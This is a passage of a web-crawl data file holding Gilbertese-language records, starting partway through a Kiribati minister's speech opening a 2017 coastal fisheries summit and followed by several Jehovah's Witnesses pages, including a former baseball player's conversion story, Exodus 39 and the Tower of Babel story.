tia ni waaki man nakoraoi mwin aia Maroro kain te\nItera Mainiku n te namakaina ae nako. Te maroro aio e katuruturuaki iaon te boto\nni iango ae kangai taekana:\n'Tobwan-raoi Marin Marawan Nanoan Abamakoro ibukin Kaubwaira'\nKe n te taetae ni Imatang ae e kangai:\n'Securing our Coastal Fisheries Resources for our Prosperity'\nKain te maroro aika kam kareineaki, ti a bane ni botaki iaon Tarawa ikai iaan ana\nkakao ami Tautaeka, rinanon ana botaki ni mwakuri ae te Botaki n Akawa ao\nKarikirakean Kaubawaira mai Marawa.\nOin te kantaninga nte bwabwaro aio bwa tina katurui riki ara taratara n taraa taari\nke marawa, ai moarara riki taari are inanoaa are e kaan ao e katobibii ara\nabamakoro nako, bwa baikara kanoana aika tina kona n ni kabwaia mai iai. Baikara\nkanganga aika ti a ni kariki nako iai ao tera arora ni katoki kanganganga aikanne.\nMan te mwiokoaki ane tia anoaki ibukina anne ao I kan moana au maroro man\nkauringakira riki bwa baikara kaakawakin taari ke ara marawa nakoira. Nte ririki\naio, ao te aonnaba e tataekinaki bongangan ma kakawakin taari iroura ngaira ni\nkabane ngaira aika kain te aonnaba aei. A rawata bowi ma maroro akea a tia n\nmarurungin, ao materaoin taari ma marawa ibukira ao ibukin te aonnaba ni kabane.\nE kakoauaaki bwa bane ni iai rekereken maeura ma taari ke marawa. Ti namakina\nke ti aki ti rootaki n taai nako man kabonganan kaubwai akea a mena inanona.\nTaari e kabuta naba te ang are ti bane ni ikekeinna, kaubwaina n aron te ika are ti\nkanna ni katoa bongin maiura; e reke naba ara tianti ma ara mwane mai iai; e\nanganira kawaira i taari are e kona n reitira iai ma te abamakoro teuana ma teuana\nke aba riki tabeua ake a raroa nako ma abara ao a boni maiti riki.\nAikai tabeua kabwaia ake a kaota bongan ao manenan taari nakoira ao man kaota\nnaba kakawakina are ti a kaumakaki iai bwa ti bon riai n bane n anga ara moan\ntobwa ae te kabanea n tamaroa ni kaakina aron teina ao kaubwain marina ibukira\nao ai moara riki ibukia natira nakon taai aika a na roko; maeuraoin ao tamaroan\ntaari bwa e na teimatoa n tatauraoi ao man anganganira kainnanora ao ni wakini\nwaki akea a na totoka aron rotakin tamaroana, ngkai bon taari ngaia raoi oin\nmwiokon ao rikian maiura.\nN ara katei ni Kiribati, ao ti ataia ba marawa ngaia ae oi mai iai maeura ma kateira.\nE irekereke ma aron ara borau, aron akawara, aron kanara, aron mwaiera ma\nannera, ao aron kateira ni ikarinerine ni itangitangiri ma ni moamoa aomata are ti\nkarekea man te tangira are kona n nooraki imarenaia taari, ngkai bon anne naon te\ntaeka ae taari – brothers and sisters n te taetae n I-Matang. Man ataakin bonganan\ntaari aika nakonia ara ataei ao ara bakatibu n bon karioi anuaia ni kawakina ara\nmarawa – teuana mai buakoia bon tikotikonakin anakin te ika nte aro ae e bon tau\nibukin maiuia.\nInanon bong aikai ao e kananokawaki bwa tia urua oin reitakira ke marenara ma\ntaari n aki kateimatoa kakawaina n aron reitan maeura, bwa ti a kabongana ngkai\nba te tabo n maange, ti ana marina ma te aki katautau, te urubwai ao ti akaawaa\nnaba marina ake a bon rangin uarereke. E rangin kakawaki ae tina manga kaboua\nao ni kateimatoa ma ni moanibwaia riki aron reitakira ma taari ma ni motinanoaia\nbwa tina manga kateimatoa kakawaina ngkai ngaia ae e angaira mauira ni katoa\nbong.\nNi bong aikai ao ti aitara ma kanganga ibukin marin marawa. N taabo tabeuea ao\na bon maunanako matan te bun te were ao a maiti riki. Ea uarerereke butin iika\nake ti tataneiai ni kabwaia mai iai n aron te maebo, te ika rii, te onoauti ao a maiti\nriki. Boni ngaira aomata aika ti kariki bwai aikai. Ti na uringa bwa ngkai ti karikia\nao ti kona naba ni manga bitia nakon te tamaroa manin kaoka arona are mai maina\nman aki reitanako kabuakakakina ma uruakina.\nE kakawaki naba ae ae ti na kauringaki are marin marawa ao marawa bon tiaki ana\nbwai temana ma temana, ma ana bwai te botanaomata – ai ngaia are ti riai n\nTobwaia raoi. Tibangara ngaira taan kariri ake tia roko nte bwabwaro aei ae\nkakawaki ibukin marawa, tina reitaki ni motinnanoia imarenara ni kabane ba ti na\nuringa kakawakin marawa ke taari ibukin rikirakera ngkai ao n tai aika imwaira. Ti\nna katoki ara waaki n urubai ao ni kamaengeange ake a na waekoa n rotaki iai\nmarurungin taari ma marawa.\nTi na uringnga are ngkai ti bane n reitaki n te marawa ae ti teuana ao ngkana tao\nngai are n te itera-meang I kamangeangea marawan rarikin abau, e na kona naba n\nrota aron maeuia kain te itera Maiaki ao ake n te itera nuka ma Banaba n te aro\nteuana ma teuana. Tia kauringaki ngkanne, ba tina riai ni ikarekebai ni iango mani\nmakuri ibukin Tobwan-raoi ke Kawakinan Marin taai I Nanoan Marawan ara\nAbamakoro ibukin Kaubwaira. E aki kona n teke ara takete aio ngkana ti aki uaia ni\nmakuri ngaira kain Kiribati ae banin ibukin wakinan te kabwaia man marin ara\nmarawa.\nI mwain ae e roroko n tokina au maroro ao I kani kakaewenakoi ngkami bwa kam\nna anga ami iango aika a tamaroa bwa e aonga n tikona kanoan waara, ngaira man\nte Bootaki n Akawa, are ti na kona iai ni karaoi ana waki n Tobwa ami Tautaeka aika\nmanena ibukia ara boton-aomata ao ibukin waiakinan kaubaira man tikotikonakin\nanakin marin ara marawa ake inanoan ara abamakoro aika a kakaokoro.\nMan au taeka ni kakawenako akanne nakoimi ao I a kani kaungai ngkami riki bwa\nkam na aki wiimakiki ngkana e roko tain katebenakoan aeka ni kaubwai ke marin ra\nmarin marawan nanoan ami abamakoro ake kam na wantongaiarake ibukin\nkarikirakean riki iokinibwai nako tinaniku. Ao man uringa naba ba tera tibangara\nibukin kateimatoakin marin taari aio ntatabemanira nako ba e aonga n teimatoa\nnakon roro ma roro aika ana roko.\nI main ae N na maroro nakoia ara iruwa mai Abatera ao I a kan anga au taeka n\nkarabwarabwa nakon te Tautaeka n New Zealand ibukin ana boutoka ao are anga\nibukin kakoroan nanon te bwabwaro aio. Kam rangi ni bati n rabwa!\nAo ibukia raora ake a roko mai Abatera:\nIf I can now turn our attention to our esteemed participants from abroad and\nexpress our sincere appreciation for their presence with us today. Your presence\nindicates your keen interest to contribute to our deliberations and assist us in the\nimplementation of securing our coastal fisheries resources. The theme for this\nsummit \"Securing our Coastal Fisheries Resources for the Prosperity\" of our own\npeople, speaks about the Ministry's vision to ensure sustainable fisheries for better\nlives and thus increase people's wealth. Equally important is to ensure that coastal\nresources are sustainably managed for our present and more importantly our\nfuture generation.\nGathered here this week, your tasks are to contribute to the development of our\ncoastal fisheries resources to higher levels. I challenge you not to confine your\nthinking to coastal resources in their entirety but link them to the importance of\nmaintaining the health of the ocean, sustainable harvesting, external factors such\nas international markets and ways to consistently contribute to this market. We\nneed to maintain and increase our links to lucrative markets, linking Kiribati Island\nto markets abroad.\nWith those few remarks, allow me to bestow upon each and every one of us\npresent here today, our Kiribati traditional blessing of Te Mauri (Good Health), Te\nRaoi (Peace) ao Te Tabomoa (Prosperity).\nIn closing, I now declare this Coastal Fisheries Summit officially open.\nAllow me in my local language to do likewise.\nMan au taeka tabeua aikanne, ao I a kukurei n taekina ba e a uki ami maroro n te\ntai aio a bween waami ana kariri ao ana kakabwaia te Atua are ngaia ae e angaiira\nara marawa ae e rangin bubura aei.\nKam bati n raba","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/kiribatiupdates.com.ki\/2017\/11\/16\/coastal-fisheries-summit-in-kiribati\/","date":"2017-12-11T21:12:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948514051.18\/warc\/CC-MAIN-20171211203107-20171211223107-00792.warc.gz","language":"gil","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000008225440979}","num_words":1515,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.284,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) August 2015\nIai n te maekatin aei kaongora ibukin te reirei man Tebetembwa 28 nakon Okitobwa 25, 2015.\nRONGORONGONI MAIUNA\nWareka rongorongoni maiun Geoffrey Jackson are e kaaina te Rabwata n Tautaeka.\nKo na kangaa ni kakoauaa raoi bwa e memena iroum Iehova n taai naba ni kataaki?\nUoua bukina aika kakawaki ibukin ara kakorakora riki n tokin te waaki aei.\nKaanga tii te arona aroia ana aomata te Atua ma aomata ake a iangoia te mwaing nakon te aba teuana.\nTi na karababaa nako riki ara iraorao i rarikia naake e babane ara tai ma ngaiia.\nE kangaa neiei ni bitii baike e kakaraoi ni maiuna bwa e aonga n irira Iesu?\nRONGORONGORA RIMOA\nA riki baika aki kantaningaaki imwin tiainaan te boraraoi n 1919, iroun te tautaeka ni Buranti ma Poland ibukini kariaiakan te rin n te aba.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150815\/","date":"2018-01-18T22:13:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887621.26\/warc\/CC-MAIN-20180118210638-20180118230638-00358.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":141,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E BUNGIAKI N: 1928\nABANA: COSTA RICA\nARONA RIMOA: I TAUTORONAKI N TAKAAKARO AIKA I KABOOAKI IAI AO N TE TAKAAKARO MA TE MWANE\nAROU RIMOA\nI ikawairake i Puerto Limón, ae te kaawa ae mena iai te matabaiawa n aono ake i rarikin taari i mainiku i Costa Rica. Iai waniman natiia au karo, ao bon te kaitiman ngai. E mate tamau ngke wanua au ririki. Mai ikanne are e a kaikawaira iai tinara n tii ngaia.\nI a kaman taatangira te takaakaro ae te beitiboo i nanoni maiuu. E mamate nanou iai ngke te ataei ngai. Ngke e a kaani koro uabwi au ririki ao I a kaaina te tiim teuana ae a aki kabooaki kaaina. Ngke I tei ibukin te tiim aei ngke ai 20 tabun au ririki ao e a tuangai naba temanna te mwaane ae kakaaeia kaain ana tiim, bwa N na kaaina te tiim ni beitiboo teuana i Nicaragua ae a kabooaki kaaina. Ma ibukina bwa e rangi n aoraki tinau n te tai anne ao boni ngai ae I tararuaia, I a aki kani maeka i Nicaragua. Ngaia are I a karautaeka nakon te kakao anne. Imwina riki, e a manga kaoai naba temanna te mwaane bwa N na kaaina ana tiim ni beitiboo Costa Rica, ae kaainaki irouia taan takaakaro aika aki kabooaki. N te tai aei, I a butimwaea te kakao. I kaaina ana tiim Costa Rica man 1949 ni karokoa 1952, ao I toka naba n takaakaro ake a boboo i Cuba, i Mexico, ao i Nicaragua. Bon te kouru ngai ao I rangi ni mwaatai iai, ao I toka naba n takaakaro aika 17 ao a bane n nakoraoi. I kan ongongo tatakaruaean arau irouia taani mataku!\nE kauringaaba bwa I maiuakina naba te aroaro ni maiu ae kammaira. E ngae ngke bon tii temanna raou, ma I bon irekereke naba ma aine riki tabeman. I kinimanging naba. N te bong teuana ao I a korotingai, n te aro are ngke I a uti n te bong are imwina i aon au kainiwene, ao I aki roko n te uringnga bwa I kangaa n okira te auti! I tatakaakaro naba n te mwane n te takaakaro ae te domino, ao ai te tiiketi ni katekeraoi.\nN te tai anne ao tinau e a riki bwa temanna Ana Tia Kakoaua Iehova. E kataia ni karina irou tangiran ana onimaki, ma e matebuaka ana kekeiaki n te moantai, bwa e bane nanou n au takaakaro. I aki kona naba ni baki ngkana I kataneiai n tain te amwarake! E bane au iango tii n te takaakaro. I tangira te beitiboo ao akea riki!\nMa ngke ai 29 au ririki ao e a reke ikoakiu ae kakaiaki ngke I kataia n rawea te booro n tain te takaakaro. Ngke I a marurung ao I a buubai man te tiim ae a kakabooaki kaaina. Ma I teimatoa n irekereke ma te beitiboo, ao I kataneiaia kaain te tiim teuana ae aki kabooaki kaaina ae uakaan ma mwengau.\nARONI BITAKINI MAIUU MAN TE BAIBARA\nN 1957 ao I a butimwaea te kakao nakon aia bwabwaro Ana Tia Kakoaua Iehova ae boo n te stadium teuana are I aki toki n tatakaakaro iai. Ngke I tekateka i buakoia taan roko, ao I a bon nora naba kaokoron te aroaro ae oti iai te karinerine irouia taani Kakoaua, ma te mangaongao ni kaberoro are I nonoria irouia aomata aika bati ake a mamataku n te beitiboo. I kairaki n te baere I noria n te bwabwaro bwa N na moana te reirei n te Baibara ma taani Kakoaua, ao ni kaakaei botaki n aia ekaretia.\nE anaaki nanou n reirei aika bati ake I reiakin man te Baibara. N te katoto, e a kaman taekinna Iesu bwa ni kabaneani boong, ao a na tataekina te rongorongo ae raoiroi ibukin Ana Tautaeka n Uea te Atua ni kabutaa te aonnaba taan rimwina. (Mataio 24:14) I reiakinna naba bwa a aki kabooaki Kristian ni koaua ngkai a karaoa aia mwakuri ni minita. E taku Iesu: \"Kam anganaki n akea boona, aanga naba n aki kabooaki.\"—Mataio 10:8.\nNgke I reirei n te Baibara ao I a kabotaui baika taekinaki iai ma baika I nonori irouia Ana Tia Kakoaua Iehova. I mataaiakina aroia ni botumwaaka n tibwaa te rongorongo ae raoiroi ibukin Ana Tautaeka n Uea te Atua ni kabutaa te aonnaba. I nora irouia te nano n anganga are e tua Iesu nakoia Kristian bwa a na kaotiotia. Ngaia are ngke I wareka Mareko 10:21 ao n nora ana kakao Iesu are \"Nakomai riiki bwa te tia rimwiu,\" ao I a kan riki naba bwa te tia Kakoaua.\nMa I boni maan teutana n iaiangoa rokou n tiau anne. N te katoto, I katoa wiki n irira te tiiketi ni katekeraoi i abau, ao ni kabongana au nambwa ae I tetekeraoi iai, i nanon ririki aika bati. Ma I reiakinna man te Baibara bwa e kabuakakaia te Atua taan taromauria \"atuan te Tetekeraoi,\" n ikotaki naba ma aomata aika nanonrang. (Itaia 65:11; I-Korote 3:5) Ngaia are I a motikia bwa N na katoka te takaakaro n te mwane. N te moan Taabati are I katoka iai te takaakaro n te tiiketi ni katekeraoi, ao e a moanna naba au nambwa arei! A bwainingareai aomata ngke I aki takaakaro n te wiki arei, ao a kakorakoraia ni kairoroai bwa N na manga ira riki te takaakaro, ma I a bon aki. I aki roko n te nako n takaakaro n te mwane.\nE a manga kataaki riki 'aroarou ae boou' n te bong are I bwabetitoaki raoi iai n aia bwabwaro Ana Tia Kakoaua Iehova. (I-Ebeto 4:24) I okira te outero n te tairiki anne, ao I a nora te aine are raou ngkoa, n tataningaai ni mataroan au ruu. E kabwakabwakaai ao e taku: \"Sammy, tera ae tauko? Nakomai bwa ti nang kakukureira!\" Ma I kaekaa naba ngkekei ni kangai: \"I aki!\" I kauringnga ae I a maiuakina ana kaetieti te Baibara ni kaineti ma te aroaro ni maiu ae riai. (1 I-Korinto 6:18) E a bon takarua naba: \"Tera?\" Ao imwina e a taetae naba ni kakeaa bongan ana reirei te Baibara ni kaineti ma te wene ni bure, ao n imanonoa ae ti na manga reitaanako ara iraorao. Ma I a tii rin naba n au ruu ao n rokana au mataroa. N te bong aei ao I kukurei n taekinna bwa man te tai are I riki iai bwa te tia Kakoaua n 1958, ao I a tia ni kakaonimaki n nimti bitaki ake I karaoi ni maiuu.\nAROU NI KAKABWAIAAKI\nTera ngke I kona ni korea au boki teuana ae taekani kakabwaiaau aika I karekei mani maiuakinan ana kairiri te Baibara! Tabeua mai buakoni kakabwaia akanne, bon rekeia raoraou ni koaua ngkai, reken te maiu ae rangi ni manena, ao ai te kukurei ni koaua.\nI bon tatakaakaro naba ngkai te beitiboo, ma I a tia ni bitii tiau. Ngke I tatakaakaro ngkoa n te beitiboo ao I karekea iai atongakiu ao te mwane, ma a aki teimatoa baikanne. Ma e ngae n anne, reitakiu ma te Atua ao te botaki n itaritari ae I a kaainna ngkai, a na bon teimatoa n aki toki. E taku te Baibara: \"A tabe ni maunanako kaain te aonnaba ma baike a tatangiri, ma e teimatoa n aki toki ane e kakaraoa nanon te Atua.\" (1 Ioane 2:17) Ngkai, I a tangira Iehova ae te Atua ma ana aomata ao akea riki!","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2017-mei\/tangiran-te-beitiboo\/","date":"2018-01-21T11:13:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890514.66\/warc\/CC-MAIN-20180121100252-20180121120252-00574.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1236,"character_repetition_ratio":0.053,"word_repetition_ratio":0.01,"special_characters_ratio":0.234,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E reirei ni kangai Iesu: \"Kam anganaki n akea boona, aanga naba n aki kabooaki.\" (Mt 10:8) Ti ira raoi nanon te kaetieti ae mataata anne n arora n aki kabooinako katoton ara Baibara ke booki aika aanaki mai iai ake ti anganako. (2Ko 2:17) Irarikin anne, iai ni booki aikai koaua aika kakawaki man Ana Taeka te Atua. E bati te mwakuri ao te kabanemwane ni boreetian ao kanakoani booki nakon ekaretia ni katobibia te aonnaba. Ngaia are ti riai n anai aika ti boni kainnanoi.\nBwaina te wanawana ngkana ko anganako booki nakoia tabemwaang, ao ngkana ko uarongorongo naba n ana tabo te botannaomata. (Mt 7:6) N oneani mwin are ko na tii anga te boki nakoia aomata aika rirarikim, kataia ni karekea te anga ae ko na maroro iai ma ngaiia bwa ko aonga n ataia bwa a kan ongora ke a aki. Ko kona ni kaeka eng nakon teuana mai buakon titiraki aika n te bwaoki n te kaongora aei? Ngkana ko aki kona n ataia bwa e kan ongora ke e aki, e raoiroi riki ngkana ko anganna te turaeki. Ma ngkana e tangira te maekatin ke tao te boki riki teuana, ti kukurei n anganna katotona.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/beberuare-2017-mwb\/kaetieti-n-te-botaki-beb20-26\/kabonganai-raoi-ara-boki-aika-aanaki-man-te-Baibara\/","date":"2018-01-21T23:07:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890893.58\/warc\/CC-MAIN-20180121214857-20180121234857-00309.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":199,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.372,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n39 A karaoi kunnikai aika rarangaaki n te aro ae raoiroi ibukin te beku n te tabo ae tabu, man te karai ae buruu, te karai ae beboo ae buraen te tiibu, ao te karai ae uraroo.+ A karaoi kunnikai aika tabu ibukin Aaron,+ n aron are e tua Iehova nakoni Mote. 2 E karaoa te ebota+ Betarera man te koora, te karai ae buruu, te karai ae beboo ae buraen te tiibu, te karai ae uraroo, ao te rinen ae raoiroi ae binokaaki. 3 A ororei mwakoro ni biti aika koora ni kammanii, ao e korokorei baikai ni karaoi bwa karai, bwa a na rarangaaki i buakon te karai ae buruu, te karai ae beboo ae buraen te tiibu, te karai ae uraroo, ao te rinen ae raoiroi, ao e katamaroaaki n taeraki. 4 A karaoi bwain aon angana aika nim ma ngaia aika tomaaki mai taboia. 5 Ao te roo* are rarangaaki are nim ma te ebota ibukini kakooana raoi,+ e karaoaki naba mani baikanne, ae te koora, te karai ae buruu, te karai ae beboo ae buraen te tiibu, te karai ae uraroo, ao te rinen ae raoiroi ae binokaaki, n aron are e tua Iehova nakoni Mote. 6 A kaaki ngkanne atibu aika oniki i nanon nibwaia aika koora, ao a kaari ni katanei aoia n araia natin Iteraera aika mwaane n aroia ni kaara te bwai ni kanikina.*+ 7 E kaaki baikai i aoni bwain aon te anga are n te ebota bwa taian atibu ni kauring ibukia natin Iteraera aika mwaane,+ n aron are e tua Iehova nakoni Mote. 8 E karaoa ngkanne te uba+ ae ana mwakuri te tia katamaroa n te taetaeri, n aroni karaoan te ebota, ae karaoaki man te koora, te karai ae buruu, te karai ae beboo ae buraen te tiibu, te karai ae uraroo, ao te rinen ae raoiroi ae binokaaki.+ 9 E boraoi abwakina ma raababana ngkana e kauouaaki. A karaoa te uba ae te rakana ni bai* abwakina ao te rakana ni bai raababana ngkana e kauouaaki. 10 A karaoi iai aua te rinan n atibu. Te moan rinan e nim iai te rubi,* te tobati, ao te emerote. 11 Te kauoua n rinan te timaraketo, te tabeiro, ao te iatiba. 12 Te katenrinan te retiem,* te akete, ao te ameteti. 13 Ao te kaaua n rinan te kerutorito, te oniki, ao te iatebi. A kaakaki i nanon nibwaia aika koora. 14 A rinan raoi atibu ni kaineti ma araia natin Iteraera aika mwaane ake 12, ao a kaaraki ni kataneaki aara n aroni kaaran te bwai ni kanikina. E tei te ara teuana ma teuana ibukini baronga ake 12. 15 A karaoi ngkanne i aon te uba taian taurekereke aika biraki aika koora ni koaua aika ai aron taian roobu.+ 16 Ao a karaoi niibwa aika uoua aika koora ao mwaamwa aika uoua aika koora, ao a kanim mwaamwa aika uoua aikai i aon tabon te uba ake uoua. 17 Imwin anne ao a karin roobu ake uoua ake koora i nanoni mwaamwa ake uoua ake i tabon te uba. 18 A karini ngkanne tabon roobu ake uoua i nanon niibwa ake uoua, ao a kanimwi i aoni bwain aon te anga mai moan te ebota. 19 Imwina ao a karaoi mwaamwa aika uoua aika koora, ao a kaaki i tabon te uba ake uoua i aon taboia ake a kaitaraa te ebota nako nanona.+ 20 Ao a karaoi riki mwaamwa aika uoua aika koora ao a kaaki i aon te ebota mai moa, i aani bwain aon te anga ao i etan te tabo are e tomaaki iai te ebota ma te roo* are rarangaaki. 21 Imwina ao a a kabaea te uba mani mwamwana ma mwamwan te ebota n te kabae ae buruu, bwa e aonga n aki mwaing mani nnena are i aon te ebota, i etan te roo* are rarangaaki, n aron are e tua Iehova nakoni Mote. 22 E karaoa ngkanne te kunnikai ae akea baina are kunnikain te ebota man te karai ae buruu ni kabane, ae rarangaaki iroun te tia rarangaa te kunnikai.+ 23 E mena bwangabwangan te kunnikai ae akea baina mai nuka n aroni karaoani bwangabwangan te kunnikai ni buaka ae te biti. E rarangaaki ni kauaataoaki mataniwin te bwangabwanga anne ni katobibia, bwa e aonga n aki raeuaaki. 24 Imwina ao a karaoi i rabin te kunnikai are akea baina, taiani bamkuranete* man te karai ae buruu, te karai ae beboo ae buraen te tiibu, ao te karai ae uraroo, aika a binokaaki. 25 Ao a karaoi taiani beero man te koora ni koaua ao a karemarenai beero aikai ma taiani bamkuranete i aon rabin te kunnikai are akea baina ni katobibia, i marenan taiani bamkuranete, 26 a karemarenaa teuana te beero ao teuana te bamkuranete, ao teuana te beero ao teuana te bamkuranete i aon rabin te kunnikai are akea baina ni katobibia, are e kabonganaaki ibukin te beku, n aron are e tua Iehova nakoni Mote. 27 Ao a karaoi kamwarai man te rinen ae raoiroi, ae rarangaaki iroun te tia rarangaa te kunnikai, ibukin Aaron ma natina mwaane,+ 28 ao te bwara ae te kunnikai+ ae te rinen ae raoiroi, te bwara ae te kunnikai ae katamaroaaki ae te rinen ae raoiroi,+ kawaerake*+ aika rinen aika karaoaki man te rinen ae raoiroi ae binokaaki, 29 ao te kabaea n nuka ae karaoaki man te rinen ae raoiroi ae binokaaki, te karai ae buruu, te karai ae beboo ae buraen te tiibu, ao te karai ae uraroo, ae a ikotaki n rarangaaki, n aron are e tua Iehova nakoni Mote. 30 Imwina ao a a karaoa te mwakoro ni biti ae raneanea man te koora ni koaua ae te kanikina ae tabu ibukin te katabu,* ao e koreaki i aona te koroboki ae kaaraki n aroni kaaran te bwai ni kanikina iroun te aomata, ae kangai: \"Nibwan te itiaki* Iehova.\"+ 31 A kanimwa te kabae ae buruu iai bwa e aonga ni mena i aon te bwara are te kunnikai, n aron are e tua Iehova nakoni Mote. 32 Mangaia are e a bane n tia raoi te mwakuri ibukin te umwanrianna ae tabu* ae te umwa ni botaki, ao a karaoi bwaai ni kabane tibun Iteraera ake e tua Iehova nakoni Mote.+ A boni karaoi n aron tuangaia. 33 A a uota ngkanne te umwanrianna ae tabu+ nakoni Mote ma bwain nanona nako: kaini karekena,+ kain oona,+ kaai ibukini katomaani kain oona,+ ao bouana ma nibwana,+ 34 rabunana ae kunin te tiibu mwaane ae kaurauraaki,+ rabunana ae kunin te tiire, te keeten ae tine mai moana,+ 35 te Ati ni Berita* ma kaina+ ao rabunana,+ 36 te taibora ma bwaina nako+ ao te bwerena ae kaotiotaki, 37 te kaintaura ae te koora ni koaua, taurana+ aika karinanaki ma bwaini mwakuriana nako,+ ao bwaan te taura,+ 38 te baonikarea+ ae te koora, te bwaa ae tabu,+ baika boiarara,+ te keeten*+ ni mataroan te umwanrianna, 39 te baonikarea ae te buraati+ ma warawarana ae te buraati, kaina,+ bwaini mwakuriana nako,+ te taabu ao kainteina,+ 40 keetenin te katawanang, bouana ao nibwana,+ keetenin*+ mataroan oon te katawanang, kabaeana ao kain rooana+ ao bwaai ni mwakuri nako ibukin te beku n te umwanrianna ae tabu, ae te umwa ni botaki, 41 kunnikai aika rarangaaki n te aro ae raoiroi ibukin te beku n te tabo ae tabu, kunnikai aika tabu ibukin Aaron are te ibonga,*+ ao aia kunnikai natina mwaane ake a beku bwa ibonga. 42 Anne aroia tibun Iteraera ni karaoi mwakuri nako ni kaineti ma bwaai ni kabane ake e tua Iehova nakoni Mote.+ 43 Ngke e tuoi aia mwakuri ni kabane Mote, ao e noria bwa a karaoi n aroni karaoaia are e tua Iehova ao e kakabwaiaia Mote.\n^ Nora Nanon Taeka, \"Atibu aika rangi ni kakawaki.\"\n^ Te atibu ae rangi ni kakawaki ae aki ataaki, ae tao e kaineti nakon te ambwa, te iatinte, te obara ke te toumarin.\n^ Ke, \"kunnikai ake a bwainaki mai aan te kunnikai.\"\n^ Ke, \"te baunuea ae tabu.\"\n^ Ke, \"tabu.\"\n^ Te ati ae kanoana bwaai ni kaotioti.\n^ Ke, \"te roki.\"\n^ Ke, \"rokin.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/39\/","date":"2018-01-16T15:48:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886437.0\/warc\/CC-MAIN-20180116144951-20180116164951-00036.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1344,"character_repetition_ratio":0.096,"word_repetition_ratio":0.085,"special_characters_ratio":0.242,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Imwin te Ieka, a karikiia natiia aika bati natin Noa. E a ririkirake ni bati mwaitiia aia utu ao a a maenako nakon taabo aika kakaokoro n te aonnaba, n aron are e tuangia Iehova bwa a na karaoia.\nMa iai utu tabeua aika aki ongeaba iroun Iehova. A taku: 'Ti na katea ara kaawa ao n tiku ikai. Ti na karaoa te taua ae rota karawa taubukina, ae e na reke atongara iai.'\nE aki kukurei Iehova n te baere a karaoia aomata aikai, ngaia are e a baireia bwa e na katokiia. Ko ataia bwa e kangaa ni karaoia? E waekoa ni bita aia taetae nakon taetae aika kakaokoro. Ibukina bwa a aikoa ota i marenaia, a a katoka aia kateitei. E a ataaki te kaawa are a tabe ni kateia n arana ae Babera, ae nanona \"Kamangaongao.\" A a uamaenako aomata ao ni maeka ni kabutaa te aonnaba. Ma a teimatoa ni karaoi baika buakaka n aia tabo ake a a tibwa maeka iai. Iai i buakoia aika teimatoa n tangira Iehova? Ti na noria n te mwakoro ae imwina.\n\"Ane e karietataa ao e na karinanoaki, ma ane e karinanoa ao e na karietataaki.\"—Ruka 18:14","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/3\/taua-are-i-babera\/","date":"2018-01-19T06:47:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887746.35\/warc\/CC-MAIN-20180119045937-20180119065937-00660.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":198,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.51,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko kani kakaonimaki i aani kataakim n aron Taniera? E taningamarau Taniera n ukeuke n reirei n Ana Taeka te Atua ao n te taetae ni burabeti naba ae nano. (Tan 9:2) Ko kona n teimatoa ni kakaonimaki ngkana ko taningamarau n ukeuke n reirei n te 